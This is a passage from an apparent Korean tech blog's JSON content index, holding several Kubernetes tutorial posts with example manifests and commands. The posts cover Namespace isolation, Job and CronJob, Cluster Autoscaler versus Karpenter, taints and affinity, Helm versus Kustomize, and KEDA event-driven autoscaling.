완전한 격리가 아니다 중요한 한계를 이해해야 한다. Namespace는 논리적 격리다. 물리적·강한 격리가 아니다.\n기본적으로 다른 Namespace의 파드와 네트워크 통신이 가능하다. 완전히 막으려면 NetworkPolicy가 필요하다. Node, PersistentVolume, StorageClass, ClusterRole처럼 Namespace에 속하지 않는 클러스터 레벨 오브젝트는 Namespace로 분리되지 않는다. 파드가 노드를 공유한다. 한 Namespace의 파드가 노이지 네이버(noisy neighbor) 문제로 노드 자원을 과점하면 다른 Namespace에도 영향을 준다. ResourceQuota로 완화할 수 있지만 완벽하지 않다. 강한 격리가 필요하다면 — 보안 요구사항이 엄격하거나, 다른 고객의 워크로드를 완전히 분리해야 하는 경우 — 클러스터 자체를 분리하는 것이 더 확실하다.\n트레이드오프 Namespace를 많이 나누면 관리 오브젝트도 선형으로 늘어난다. 네임스페이스마다 RBAC, ResourceQuota, LimitRange, NetworkPolicy를 만들어야 한다. 새 팀이 생기거나 환경이 추가될 때마다 이 설정들을 복사하고 맞춰야 한다. 이 반복 작업을 줄이려면 Namespace 프로비저닝을 자동화하는 도구(Helm chart, Argo CD Application, Namespace 템플릿)를 쓰는 것이 현실적이다.\n반대로 너무 적게 나누면 팀들이 같은 공간에 오브젝트를 만들다가 이름 충돌, 권한 관리 어려움, 자원 과점 문제를 겪는다. default Namespace 하나에 모든 것을 몰아넣는 것은 클러스터가 작을 때만 통한다.\n","permalink":"https://charminggroot.github.io/posts/025-k8s-namespace/","summary":"Namespace는 하나의 클러스터를 여러 논리적 공간으로 나누는 메커니즘이다. 팀별, 환경별, 서비스 도메인별로 나눌 수 있고, RBAC과 NetworkPolicy, ResourceQuota와 결합해 진짜 격리를 구현한다. 언제 Namespace로 나누고 언제 클러스터를 아예 분리해야 하는지, 기본 Namespace들이 어떤 역할인지를 설명한다.","title":"025. Kubernetes Namespace — 클러스터 안의 논리적 격리 단위"},{"content":"Deployment, StatefulSet, DaemonSet은 모두 파드를 계속 실행 상태로 유지하려 한다. 파드가 종료되면 다시 살린다. 하지만 DB 마이그레이션, 리포트 생성, 이메일 일괄 발송처럼 한 번 실행하고 성공적으로 끝나면 되는 작업은 이 모델이 맞지 않는다. 끝난 파드를 다시 살릴 필요가 없고, 오히려 실수로 두 번 실행되면 안 되는 경우도 있다.\nJob은 파드가 성공적으로 완료(exit code 0) 될 때까지 실행을 보장하는 오브젝트다. 파드가 실패하면 재시도하고, 성공하면 멈춘다. CronJob은 Job을 cron 표현식으로 주기적으로 생성한다.\nJob 기본 구조 apiVersion: batch/v1 kind: Job metadata: name: db-migration spec: completions: 1 # 성공적으로 완료할 파드 수 (기본값 1) parallelism: 1 # 동시에 실행할 파드 수 (기본값 1) backoffLimit: 3 # 실패 시 재시도 횟수 (기본값 6) activeDeadlineSeconds: 300 # 최대 실행 시간 (초). 초과 시 강제 종료 ttlSecondsAfterFinished: 600 # 완료 후 이 시간이 지나면 Job과 파드 자동 삭제 template: spec: restartPolicy: Never # Job 파드는 Never 또는 OnFailure만 가능 containers: - name: migration image: my-app:1.0.0 command: [\u0026#34;python\u0026#34;, \u0026#34;manage.py\u0026#34;, \u0026#34;migrate\u0026#34;] env: - name: DB_URL valueFrom: secretKeyRef: name: db-secret key: url restartPolicy는 Never 또는 OnFailure만 쓸 수 있다. Deployment의 기본값인 Always는 Job에 쓸 수 없다.\nNever: 파드가 실패하면 새 파드를 만들어 재시도한다. 실패한 파드는 삭제되지 않아 로그를 볼 수 있다.\nOnFailure: 같은 파드를 재시작한다. 파드가 살아있어 IP가 유지되지만, 재시작 전 상태(임시 파일 등)가 남아있을 수 있다.\nbackoffLimit만큼 재시도를 모두 소진하면 Job은 Failed 상태가 된다.\n병렬 실행 completions와 parallelism을 조합해 병렬 배치 처리를 구성할 수 있다.\nspec: completions: 10 # 총 10개 파드가 성공해야 완료 parallelism: 3 # 동시에 3개씩 실행 10개 작업을 3개씩 병렬로 실행해 완료된 것부터 채워나간다. 큰 데이터셋을 파티션으로 나눠 처리하거나, 독립적인 작업 목록을 빠르게 처리할 때 쓴다.\n작업 목록을 Job에 어떻게 전달하느냐는 별도 패턴이 필요하다. 환경변수로 인덱스를 넘기거나(JOB_COMPLETION_INDEX, k8s 1.21+에서 자동 주입), 메시지 큐(Redis, RabbitMQ)에서 파드가 직접 가져오는 방식이 흔하다.\nCronJob apiVersion: batch/v1 kind: CronJob metadata: name: report-generator spec: schedule: \u0026#34;0 9 * * 1-5\u0026#34; # 평일 오전 9시 timeZone: \u0026#34;Asia/Seoul\u0026#34; # k8s 1.27+ concurrencyPolicy: Forbid # 이전 Job이 아직 실행 중이면 새 Job 생성 안 함 successfulJobsHistoryLimit: 3 # 성공한 Job 기록 보존 수 failedJobsHistoryLimit: 1 # 실패한 Job 기록 보존 수 startingDeadlineSeconds: 60 # 예정 시각에서 이 초 이내에 못 시작하면 건너뜀 jobTemplate: spec: backoffLimit: 2 template: spec: restartPolicy: OnFailure containers: - name: reporter image: my-reporter:1.0.0 cron 표현식은 분 시 일 월 요일 순이다. 0 9 * * 1-5는 월~금 09:00.\ntimeZone이 없으면 UTC 기준이다. 한국 시간으로 실행하려면 명시해야 한다.\nconcurrencyPolicy — 가장 중요한 설정 이전 실행이 아직 끝나지 않았는데 다음 실행 시각이 되면 어떻게 할지 정한다.\nAllow(기본값): 이전 Job이 실행 중이어도 새 Job을 만든다. DB에 동시에 두 Job이 쓰는 상황이 생길 수 있다.\nForbid: 이전 Job이 아직 실행 중이면 새 Job을 건너뛴다. 멱등성이 없는 작업에 적합하다.\nReplace: 이전 Job을 종료하고 새 Job을 시작한다.\n작업 시간이 실행 간격보다 길어질 수 있다면 Forbid를 기본으로 두는 것이 안전하다.\n놓친 실행(missed schedule) 컨트롤 플레인이 내려가 있던 동안 예정된 실행을 놓쳤다면, startingDeadlineSeconds 안에 있으면 재시작 시 밀린 실행을 처리한다. 오래 내려가 있었다면 밀린 실행이 쏟아질 수 있다. 이를 막으려면 startingDeadlineSeconds를 짧게 잡아 너무 오래된 실행은 건너뛰게 한다.\nttlSecondsAfterFinished — Job 자동 정리 완료된 Job과 파드는 자동으로 삭제되지 않는다. 방치하면 완료된 파드들이 쌓인다. ttlSecondsAfterFinished로 완료 후 일정 시간이 지나면 자동으로 정리되게 한다. 로그를 충분히 확인할 시간을 주되, 무한정 남겨두지 않는 균형점을 잡으면 된다.\n트레이드오프 Job은 최소 한 번(at-least-once) 실행을 보장한다. 파드가 실패한 뒤 재시도하는 과정에서 작업이 두 번 실행될 수 있다. 특히 restartPolicy: OnFailure는 파드를 재시작하므로 이전 실행이 중간에 실패했어도 처음부터 다시 시작한다. 중복 실행이 문제라면 작업을 멱등성(idempotent) 있게 설계해야 한다. DB 마이그레이션에서 IF NOT EXISTS를 쓰거나, 처리 상태를 기록해 이미 처리된 것은 건너뛰는 식이다.\nCronJob은 Job을 만드는 것을 보장하지만 실행 완료를 보장하지는 않는다. 실행 시각에 클러스터 자원이 없으면 파드가 Pending 상태로 머물 수 있다. 중요한 주기 작업이라면 완료 여부를 모니터링하고, 실패 시 알림을 받는 체계가 필요하다.\n","permalink":"https://charminggroot.github.io/posts/026-k8s-job-cronjob/","summary":"Deployment는 파드를 계속 실행 상태로 유지하지만, 데이터 마이그레이션이나 리포트 생성처럼 한 번 실행하고 끝나는 작업도 있다. Job은 파드가 성공적으로 완료될 때까지 실행을 보장하고, CronJob은 Job을 cron 표현식으로 주기적으로 실행한다. 완료 보장 메커니즘, 병렬 실행, 실패 처리, 그리고 CronJob의 주의사항을 설명한다.","title":"026. Kubernetes Job \u0026 CronJob — 일회성 작업과 주기적 작업"},{"content":"HPA가 트래픽에 따라 파드를 10개로 늘렸는데, 클러스터 노드가 3대뿐이고 이미 가득 찼다면 새 파드들은 Pending 상태로 머문다. 자원이 없으니 스케줄이 안 된다. 반대로 새벽에 트래픽이 없어 파드가 2개뿐인데 노드 10대가 켜져 있다면 비용 낭비다.\nCluster Autoscaler(CA)는 이 두 문제를 해결한다. Pending 파드가 생기면 노드를 추가하고, 노드 자원 사용률이 낮으면 노드를 줄인다. HPA가 파드 수를 조절하는 수평 확장이라면, CA는 파드가 올라갈 인프라를 조절하는 인프라 레벨 확장이다.\nHPA와 CA의 협력 구조 트래픽 증가 ↓ HPA: CPU 사용률 초과 감지 → 파드 수 증가 결정 ↓ 스케줄러: 새 파드를 노드에 배치 시도 ↓ 자원 부족 → 파드 Pending 상태 ↓ CA: Pending 파드 감지 → 노드 추가 (클라우드 API 호출) ↓ 새 노드 준비 완료 → 파드 스케줄 이 과정은 직렬로 일어나므로 노드가 추가되는 데 수 분이 걸린다. 노드 이미지 부팅, k8s 컴포넌트 시작, 노드 등록, 파드 이미지 풀까지 합산하면 보통 2~5분이다. HPA가 스케일 아웃을 결정하고 실제로 트래픽을 처리할 때까지 공백이 생긴다. minReplicas를 충분히 잡아두거나, 트래픽 폭증이 예상되면 미리 노드를 확보해두는 것이 이 공백을 줄이는 방법이다.\n설치와 설정 CA는 클라우드 프로바이더별로 다르게 설치한다. AWS EKS 기준으로는 Node Group(Auto Scaling Group)을 만들고, CA가 그 그룹의 최소/최대 노드 수를 조정한다.\n# CA Deployment의 핵심 설정 (일부) command: - ./cluster-autoscaler - --cloud-provider=aws - --nodes=2:20:my-node-group # 최소:최대:그룹이름 - --scale-down-enabled=true - --scale-down-utilization-threshold=0.5 # 사용률 50% 미만 노드는 제거 후보 - --scale-down-unneeded-time=10m # 10분 이상 불필요한 노드를 제거 - --skip-nodes-with-local-storage=true # emptyDir 같은 로컬 스토리지 파드가 있으면 제거 안 함 - --skip-nodes-with-system-pods=true # 시스템 파드가 있는 노드는 제거 안 함 스케일 인 — 노드 제거의 조건 CA가 노드를 제거하려면 여러 조건을 확인한다.\n노드 사용률이 임계값(scale-down-utilization-threshold, 기본 50%) 미만이어야 한다. 그 노드의 파드들이 다른 노드로 이동 가능해야 한다. --skip-nodes-with-local-storage가 설정돼 있으면 emptyDir 볼륨을 쓰는 파드가 있는 노드는 제거하지 않는다. PodDisruptionBudget을 위반하지 않아야 한다.\n노드를 제거할 때는 먼저 drain 처리를 한다. 그 노드의 파드들을 정상적으로 종료하고 다른 노드로 이동시킨 뒤 노드를 삭제한다. 이 과정에서 PDB가 중요하다. minAvailable: 2인 Deployment에서 2개의 파드가 모두 이 노드에 있다면, 드레인 중 두 파드가 동시에 내려가는 것을 PDB가 막아 CA가 그 노드를 제거하지 못한다. PDB와 파드 분산(anti-affinity)을 함께 설정하면 스케일 인 중에도 가용성이 유지된다.\n노드 그룹(Node Group) 설계 CA는 노드 그룹 단위로 스케일한다. 다양한 워크로드를 처리하려면 목적에 맞는 노드 그룹을 여러 개 두는 것이 일반적이다.\n일반 워크로드용: m5.xlarge × 2~20 메모리 집약형: r5.2xlarge × 0~10 GPU 워크로드용: p3.2xlarge × 0~5 (평소 0개, 필요 시 추가) GPU 노드 그룹을 평소 0개로 유지하다가 필요할 때만 켜면 비용이 크게 줄어든다. Taint \u0026amp; Toleration을 함께 써서 GPU 파드만 GPU 노드에 스케줄되도록 강제한다.\nKarpenter — CA의 대안 AWS가 개발한 Karpenter는 CA의 몇 가지 한계를 개선한 도구다. 지금은 AWS 외 환경도 지원하기 시작했다.\nCA와 가장 다른 점은 노드 그룹 없이 파드의 요구사항을 직접 보고 최적의 인스턴스 타입을 선택한다는 것이다. 파드가 요청한 CPU/메모리에 가장 잘 맞는 인스턴스를 즉시 프로비저닝한다. 또한 Spot 인스턴스를 자동으로 활용해 비용을 최적화하고, 필요 없어진 노드를 더 공격적으로 통합(consolidation)해 낭비를 줄인다.\nCluster Autoscaler Karpenter 노드 선택 미리 정의된 노드 그룹 파드 요구사항 보고 최적 타입 선택 반응 속도 상대적으로 느림 빠름 비용 최적화 수동 설정 필요 Spot 자동 활용, 통합 적극적 설정 복잡도 노드 그룹 관리 필요 더 단순 클라우드 지원 멀티 클라우드 AWS 중심 (확장 중) AWS EKS 환경이라면 Karpenter가 더 권장된다. 다른 클라우드나 온프레미스라면 CA가 여전히 표준이다.\n트레이드오프 CA의 가장 큰 단점은 노드 추가에 걸리는 시간이다. 트래픽이 갑자기 몰리는 상황에서는 CA가 반응하기 전에 기존 노드들이 과부하를 감당해야 한다. 이를 완화하려면 오버프로비저닝(여유 노드 유지), 파드 Pending 알림 설정, HPA의 minReplicas 충분히 확보 같은 보완책이 필요하다.\n스케일 인은 보수적으로 동작한다. 이는 의도된 설계지만, 낮은 트래픽이 지속되는 시간대에도 노드가 천천히 줄어 일시적 비용 낭비가 생길 수 있다. scale-down-unneeded-time을 짧게 하면 더 빠르게 줄어들지만, 트래픽이 다시 오를 때 새 노드를 기다려야 하는 지연이 생긴다.\n","permalink":"https://charminggroot.github.io/posts/027-k8s-cluster-autoscaler/","summary":"HPA가 파드 수를 조절하면, 새 파드를 올릴 노드가 부족해지는 상황이 생긴다. Cluster Autoscaler는 Pending 상태인 파드를 감지해 노드를 추가하고, 유휴 노드를 제거해 비용을 절감한다. HPA와 어떻게 협력하는지, 노드를 어떻게 선택하는지, 스케일 인 중 파드 안전성을 어떻게 보장하는지, 그리고 차세대 도구인 Karpenter와의 차이를 설명한다.","title":"027. Kubernetes Cluster Autoscaler — 파드가 올라갈 노드를 자동으로 늘리고 줄이기"},{"content":"스케줄러는 기본적으로 자원이 충분한 노드를 골라 파드를 올린다. 이 기본 동작으로 충분한 경우가 많지만, 운영하다 보면 더 세밀하게 제어해야 하는 상황이 생긴다. GPU가 있는 노드에는 GPU 작업 파드만 올려야 한다, DB 파드들이 같은 노드에 모이지 않도록 분산해야 한다, 같이 쓰는 두 서비스는 같은 노드에 올려 네트워크 지연을 줄여야 한다 같은 경우다.\n이를 제어하는 메커니즘이 Taint/Toleration과 Affinity다.\nTaint와 Toleration — 노드 출입 허가 Taint는 노드에 붙이는 거부 표시다. \u0026ldquo;이 노드는 허가받은 파드만 올 수 있다\u0026quot;고 선언한다. Toleration은 파드에 붙이는 허가증이다. \u0026ldquo;나는 이 Taint를 감수할 수 있다\u0026quot;고 선언한다. 두 조건이 맞으면 스케줄이 허용된다.\n# 노드에 Taint 추가 kubectl taint nodes gpu-node-1 dedicated=gpu:NoSchedule # 파드에 Toleration 설정 spec: tolerations: - key: \u0026#34;dedicated\u0026#34; operator: \u0026#34;Equal\u0026#34; value: \u0026#34;gpu\u0026#34; effect: \u0026#34;NoSchedule\u0026#34; effect는 세 종류다.\nNoSchedule: 이 Taint를 감수하지 못하는 파드는 이 노드에 스케줄되지 않는다. 이미 실행 중인 파드는 영향받지 않는다.\nPreferNoSchedule: 가능하면 이 노드를 피하지만, 다른 선택지가 없으면 스케줄된다. 소프트 규칙이다.\nNoExecute: 새 파드를 스케줄하지 않으며, 이미 실행 중인 파드도 감수하지 못하면 축출(evict) 한다. 노드 장애 시 k8s가 자동으로 이 Taint를 붙여 파드를 다른 노드로 옮기는 데도 쓰인다.\nGPU 노드 전용 예약 패턴 # GPU 노드에 Taint kubectl taint nodes gpu-node-1 gpu=true:NoSchedule kubectl taint nodes gpu-node-2 gpu=true:NoSchedule # GPU 작업 파드에만 Toleration + 노드 선택 spec: tolerations: - key: \u0026#34;gpu\u0026#34; operator: \u0026#34;Exists\u0026#34; effect: \u0026#34;NoSchedule\u0026#34; nodeSelector: gpu: \u0026#34;true\u0026#34; containers: - name: ml-training resources: limits: nvidia.com/gpu: 1 Taint만 있으면 GPU 파드가 GPU 노드에도 갈 수 있고 일반 노드에도 갈 수 있다. nodeSelector나 Affinity로 GPU 파드를 GPU 노드로 당겨야 온전히 예약된다.\nNode Affinity — 파드를 특정 노드로 유도 Affinity는 Taint와 반대 방향이다. 노드가 파드를 거부하는 게 아니라, 파드가 특정 노드를 선호(또는 요구)한다.\nrequiredDuringSchedulingIgnoredDuringExecution: 필수 조건. 맞는 노드가 없으면 파드가 Pending 상태로 기다린다. (nodeSelector의 강화판)\npreferredDuringSchedulingIgnoredDuringExecution: 선호 조건. 가능하면 이 노드를 선호하지만, 없으면 다른 노드에 스케줄된다. weight로 여러 선호도에 우선순위를 줄 수 있다.\nspec: affinity: nodeAffinity: requiredDuringSchedulingIgnoredDuringExecution: nodeSelectorTerms: - matchExpressions: - key: kubernetes.io/arch operator: In values: - amd64 # AMD64 아키텍처 노드에서만 실행 preferredDuringSchedulingIgnoredDuringExecution: - weight: 80 preference: matchExpressions: - key: topology.kubernetes.io/zone operator: In values: - ap-northeast-2a # 가능하면 이 AZ 선호 - weight: 20 preference: matchExpressions: - key: node-type operator: In values: - spot # 2순위로 Spot 인스턴스 선호 Pod Affinity와 Anti-Affinity — 파드 간 배치 관계 Node Affinity가 \u0026ldquo;어떤 노드에 올라갈지\u0026quot;라면, Pod Affinity/Anti-Affinity는 \u0026ldquo;어떤 파드와 같은 노드(또는 같은 AZ)에 배치될지\u0026quot;를 제어한다.\nPod Affinity: 특정 파드와 가까운 곳에 배치되길 원할 때. 같은 노드 배치로 네트워크 지연을 줄이거나 같은 AZ에 두어 데이터 전송 비용을 절감할 때 쓴다.\nPod Anti-Affinity: 특정 파드와 멀리 배치되길 원할 때. 고가용성을 위해 같은 서비스의 파드들이 서로 다른 노드나 AZ에 분산되도록 강제하는 데 가장 많이 쓴다.\nspec: affinity: podAntiAffinity: # 필수: 같은 hostname(= 같은 노드)에 app=my-app 파드가 있으면 스케줄 안 함 requiredDuringSchedulingIgnoredDuringExecution: - labelSelector: matchLabels: app: my-app topologyKey: kubernetes.io/hostname # 선호: 가능하면 다른 AZ에 분산 preferredDuringSchedulingIgnoredDuringExecution: - weight: 100 podAffinityTerm: labelSelector: matchLabels: app: my-app topologyKey: topology.kubernetes.io/zone topologyKey가 중요하다. 분산의 기준이 되는 노드 레이블이다. kubernetes.io/hostname이면 노드 단위, topology.kubernetes.io/zone이면 AZ 단위로 분산된다.\n위 설정은 \u0026ldquo;같은 노드에는 절대 두 파드가 올라가지 않고(required), 가능하면 다른 AZ에 분산(preferred)\u0026ldquo;이다. DB나 API 서버처럼 단일 노드 장애로 전체가 다운되면 안 되는 서비스에 필수적인 설정이다.\n세 메커니즘의 관계 셋은 독립적이지만 함께 써서 세밀한 스케줄링을 구현한다.\nTaint/Toleration: 노드 접근 허가 (방어적, 노드 주도) Node Affinity: 파드가 원하는 노드 (능동적, 파드 주도) Pod Affinity: 파드 간 배치 관계 (상대적) GPU 노드에 GPU 작업만 올리는 완전한 구성은 이렇다.\nGPU 노드에 Taint → 일반 파드가 GPU 노드에 못 들어옴 GPU 파드에 Toleration → GPU 노드에 들어올 수 있음 GPU 파드에 Node Affinity (required) → GPU 노드에만 스케줄됨 트레이드오프 Anti-Affinity를 requiredDuringScheduling으로 설정하면 스케줄러가 조건을 만족하는 노드를 못 찾으면 파드가 Pending 상태로 멈춘다. 예를 들어 파드 3개를 서로 다른 노드에 강제하는데 노드가 2개뿐이면 3번째 파드가 영원히 Pending이다. 클러스터 노드 수와 Affinity 조건의 현실적 조합을 확인해야 한다.\npreferredDuringScheduling은 조건이 안 맞아도 스케줄이 진행돼 유연하지만, 보장이 없어 고가용성을 실제로 달성했는지 확인하기 어렵다. 중요한 서비스의 분산 보장은 required를 쓰고 클러스터 용량을 충분히 확보하는 것이 맞다.\n","permalink":"https://charminggroot.github.io/posts/028-k8s-taint-affinity/","summary":"기본적으로 스케줄러는 자원이 충분한 노드에 파드를 자유롭게 배치한다. Taint와 Toleration은 노드를 특수 목적으로 예약하고, Affinity는 파드가 특정 노드에 또는 특정 파드 근처에 배치되도록 유도한다. GPU 노드 예약, 파드 고가용성 분산, 같이 실행해야 하는 파드 모으기를 어떻게 구현하는지 설명한다.","title":"028. Kubernetes Taint, Toleration, Affinity — 파드가 어떤 노드에 올라갈지 제어하기"},{"content":"서비스 하나를 k8s에 배포하려면 Deployment, Service, Ingress, ConfigMap, ServiceAccount, HPA\u0026hellip; 여러 YAML 파일이 필요하다. 개발 환경과 프로덕션 환경은 이미지 태그, replica 수, resource 크기, 도메인이 다르다. 환경마다 복사해서 수정하면 파일들이 금방 제각각이 된다.\nHelm은 이 문제를 푸는 k8s 패키지 매니저다. 관련 YAML들을 Chart라는 패키지로 묶고, 환경마다 다른 값은 values로 분리해 템플릿으로 관리한다. helm install, helm upgrade, helm rollback 같은 명령으로 배포 라이프사이클을 관리하고, 수천 개의 오픈소스 Chart를 받아 쓸 수 있다.\nChart 구조 my-app/ ├── Chart.yaml # Chart 메타데이터 (이름, 버전, 설명) ├── values.yaml # 기본 설정값 ├── templates/ # k8s YAML 템플릿들 │ ├── deployment.yaml │ ├── service.yaml │ ├── ingress.yaml │ ├── configmap.yaml │ ├── _helpers.tpl # 재사용 템플릿 조각 │ └── NOTES.txt # 설치 후 출력할 안내 메시지 └── charts/ # 의존 Chart (서브차트) Chart.yaml apiVersion: v2 name: my-app description: My application type: application version: 1.2.0 # Chart 버전 (패키지 버전) appVersion: \u0026#34;2.5.1\u0026#34; # 앱 버전 (이미지 태그 등) dependencies: - name: postgresql version: \u0026#34;12.x.x\u0026#34; repository: \u0026#34;https://charts.bitnami.com/bitnami\u0026#34; condition: postgresql.enabled # values에서 활성화 여부 제어 values.yaml — 기본값 replicaCount: 2 image: repository: my-app tag: \u0026#34;latest\u0026#34; pullPolicy: IfNotPresent service: type: ClusterIP port: 80 ingress: enabled: false host: \u0026#34;\u0026#34; resources: requests: cpu: 100m memory: 128Mi limits: cpu: 500m memory: 512Mi postgresql: enabled: true auth: database: myapp 템플릿 템플릿은 Go 템플릿 문법으로 values를 참조한다.\n# templates/deployment.yaml apiVersion: apps/v1 kind: Deployment metadata: name: {{ include \u0026#34;my-app.fullname\u0026#34; . }} # _helpers.tpl의 함수 labels: {{- include \u0026#34;my-app.labels\u0026#34; . | nindent 4 }} spec: replicas: {{ .Values.replicaCount }} template: spec: containers: - name: {{ .Chart.Name }} image: \u0026#34;{{ .Values.image.repository }}:{{ .Values.image.tag }}\u0026#34; imagePullPolicy: {{ .Values.image.pullPolicy }} resources: {{- toYaml .Values.resources | nindent 10 }} # templates/ingress.yaml {{- if .Values.ingress.enabled }} # enabled가 true일 때만 생성 apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: {{ include \u0026#34;my-app.fullname\u0026#34; . }} spec: rules: - host: {{ .Values.ingress.host }} ... {{- end }} 설치와 업그레이드 # Chart 설치 (Release 생성) helm install my-release ./my-app \\ --namespace production \\ --create-namespace \\ --values production-values.yaml # 설치된 Release 목록 helm list -n production # 업그레이드 (values 변경 또는 Chart 버전 업) helm upgrade my-release ./my-app \\ --namespace production \\ --values production-values.yaml \\ --set image.tag=2.6.0 # 커맨드라인에서 개별 값 오버라이드 # 롤백 helm rollback my-release 1 # 리비전 1로 롤백 helm history my-release # 릴리즈 히스토리 # 삭제 helm uninstall my-release -n production Helm은 Release 히스토리를 k8s Secret에 저장한다. helm rollback은 이전 상태의 YAML을 다시 적용한다.\nvalues 오버라이드 — 환경별 설정 기본값을 values.yaml에 두고, 환경별 차이를 별도 파일로 관리한다.\n# values-production.yaml replicaCount: 5 image: tag: \u0026#34;2.5.1\u0026#34; # 고정 버전 ingress: enabled: true host: api.example.com resources: requests: cpu: 500m memory: 512Mi limits: cpu: 2000m memory: 2Gi # production 환경 배포 helm upgrade my-release ./my-app \\ --values values.yaml \\ --values values-production.yaml # 뒤 파일이 앞 파일을 덮어씀 CI/CD에서는 보통 --set image.tag=$(git rev-parse --short HEAD) 같은 방식으로 이미지 태그만 동적으로 주입한다.\n공개 Chart 저장소 활용 Prometheus, Grafana, nginx-ingress, cert-manager 같은 인프라 컴포넌트를 처음부터 직접 YAML로 작성할 필요가 없다. 검증된 Chart가 이미 있다.\n# 저장소 추가 helm repo add prometheus-community https://prometheus-community.github.io/helm-charts helm repo update # Chart 검색 helm search repo prometheus # Chart의 기본 values 확인 helm show values prometheus-community/kube-prometheus-stack \u0026gt; default-values.yaml # 설치 helm install prometheus prometheus-community/kube-prometheus-stack \\ --namespace monitoring \\ --create-namespace \\ --values my-prometheus-values.yaml Kustomize — Helm의 대안 Helm과 자주 비교되는 Kustomize는 다른 철학으로 접근한다. 템플릿 대신 기존 YAML을 패치(patch) 한다.\nbase/ # 공통 기본 YAML ├── deployment.yaml ├── service.yaml └── kustomization.yaml overlays/ ├── development/ # dev 환경 패치 │ ├── kustomization.yaml │ └── replica-patch.yaml └── production/ # prod 환경 패치 ├── kustomization.yaml └── replica-patch.yaml # overlays/production/kustomization.yaml resources: - ../../base patches: - path: replica-patch.yaml images: - name: my-app newTag: \u0026#34;2.5.1\u0026#34; Helm Kustomize 방식 템플릿 + values 기본 YAML + 패치 학습 비용 높음 (Go 템플릿) 낮음 (순수 YAML) 패키지 재사용 강력 (Chart 저장소) 약함 히스토리/롤백 내장 없음 (git으로 관리) 외부 의존성 없음 Helm CLI 필요 kubectl에 내장 실무에서는 오픈소스 인프라(Prometheus, nginx-ingress 등)는 Helm Chart로 설치하고, 자체 서비스는 Helm 또는 Kustomize 중 팀 취향에 맞는 것을 쓰는 경우가 많다. Argo CD 같은 GitOps 도구는 둘 다 지원한다.\n트레이드오프 Helm의 Go 템플릿 문법은 YAML 안에서 프로그래밍 로직이 섞여 읽기 어렵고, 복잡한 조건이 들어가면 유지보수가 어려워진다. 템플릿 오류 메시지도 불친절하다.\nhelm upgrade는 기본적으로 애플리케이션 배포 성공 여부를 기다리지 않는다. --wait 플래그를 붙이면 파드가 Ready 될 때까지 기다리고 실패하면 롤백할 수 있다. CI/CD 파이프라인에서는 --wait --timeout 5m을 붙이는 것이 안전하다.\n","permalink":"https://charminggroot.github.io/posts/029-k8s-helm/","summary":"하나의 서비스를 k8s에 배포하려면 Deployment, Service, ConfigMap, Ingress, ServiceAccount 등 여러 YAML 파일이 필요하다. Helm은 이 파일들을 하나의 패키지(Chart)로 묶고, 환경마다 다른 값을 변수로 분리해 관리하는 k8s 패키지 매니저다. Chart 구조, values 오버라이드, Release 관리, 그리고 Kustomize와의 차이를 설명한다.","title":"029. Helm — Kubernetes 패키지 매니저"},{"content":"HPA는 CPU 또는 메모리 사용률을 보고 파드 수를 조절한다. 이 방식이 대부분의 HTTP 서버에는 잘 맞지만, 메시지 처리 서비스에는 잘 맞지 않는다. Kafka 토픽에 메시지가 100만 개 쌓여 있어도 아무 파드도 처리를 시작하기 전이라면 CPU 사용률은 0%다. HPA는 아무것도 스케일하지 않는다.\nKEDA(Kubernetes Event-Driven Autoscaling) 는 이 문제를 위해 만들어진 오토스케일러다. Kafka 컨슈머 랙, SQS 대기열 길이, Redis 큐 크기, Prometheus 메트릭 등 외부 이벤트 소스를 직접 보고 스케일한다. 70개 이상의 내장 스케일러를 제공하고, 파드를 0개에서 N개로 스케일하는 것도 지원한다.\n구조 KEDA는 k8s에 CRD로 설치한다. 두 가지 핵심 컴포넌트로 동작한다.\nKEDA Operator: ScaledObject와 ScaledJob을 감시하고, 조건에 따라 HPA를 생성·수정한다. KEDA는 HPA를 대체하는 게 아니라 HPA 위에서 동작한다. 외부 메트릭을 k8s External Metrics API로 노출하고, HPA가 그 값을 읽어 파드 수를 결정한다.\nMetrics Adapter: 외부 소스에서 메트릭을 가져와 k8s Metrics API로 변환한다.\nScaledObject — Deployment 스케일 apiVersion: keda.sh/v1alpha1 kind: ScaledObject metadata: name: kafka-consumer-scaler namespace: production spec: scaleTargetRef: name: order-processor # 스케일할 Deployment 이름 minReplicaCount: 0 # 0으로 스케일 다운 허용 maxReplicaCount: 50 pollingInterval: 15 # 외부 소스 폴링 간격 (초) cooldownPeriod: 60 # 0으로 스케일 다운 전 대기 시간 (초) triggers: - type: kafka metadata: bootstrapServers: kafka:9092 consumerGroup: order-processor-group topic: orders lagThreshold: \u0026#34;100\u0026#34; # 컨슈머 랙이 파드당 100 이상이면 스케일 업 offsetResetPolicy: latest lagThreshold: \u0026quot;100\u0026quot;은 \u0026ldquo;파드 하나당 처리해야 할 메시지 100개\u0026quot;를 기준으로 삼는다는 의미다. 랙이 1000이면 파드 10개, 5000이면 50개(maxReplicaCount 제한)로 스케일한다.\nminReplicaCount: 0을 설정하면 큐가 비어있을 때 파드를 0개로 줄인다. 비용을 극단적으로 절감할 수 있지만, 다음 메시지가 올 때 파드가 0에서 올라오는 콜드 스타트 지연이 생긴다. 실시간성이 중요하지 않은 배치 작업에 적합하다.\n다양한 트리거 예시 AWS SQS triggers: - type: aws-sqs-queue metadata: queueURL: https://sqs.ap-northeast-2.amazonaws.com/123456/my-queue queueLength: \u0026#34;10\u0026#34; # 파드당 메시지 10개 기준 awsRegion: ap-northeast-2 authenticationRef: name: keda-aws-credentials # TriggerAuthentication으로 자격증명 관리 Redis 리스트 triggers: - type: redis metadata: address: redis:6379 listName: job-queue listLength: \u0026#34;20\u0026#34; # 파드당 아이템 20개 기준 authenticationRef: name: keda-redis-credentials Prometheus 메트릭 triggers: - type: prometheus metadata: serverAddress: http://prometheus:9090 metricName: http_requests_pending query: sum(http_requests_pending{service=\u0026#34;api\u0026#34;}) threshold: \u0026#34;100\u0026#34; # 대기 요청이 파드당 100 이상이면 스케일 업 Prometheus 스케일러를 쓰면 HPA의 Custom Metrics Adapter 없이도 Prometheus 메트릭으로 스케일할 수 있다.\nTriggerAuthentication — 자격증명 분리 외부 소스(AWS, Redis, Kafka 등)에 접근할 자격증명은 트리거에 직접 넣지 않고 TriggerAuthentication 오브젝트로 분리한다.\napiVersion: keda.sh/v1alpha1 kind: TriggerAuthentication metadata: name: keda-aws-credentials namespace: production spec: secretTargetRef: - parameter: awsAccessKeyID name: aws-secret key: access-key-id - parameter: awsSecretAccessKey name: aws-secret key: secret-access-key ClusterTriggerAuthentication을 쓰면 클러스터 전체에서 자격증명을 공유할 수 있다. AWS IRSA(IAM Roles for Service Accounts)와 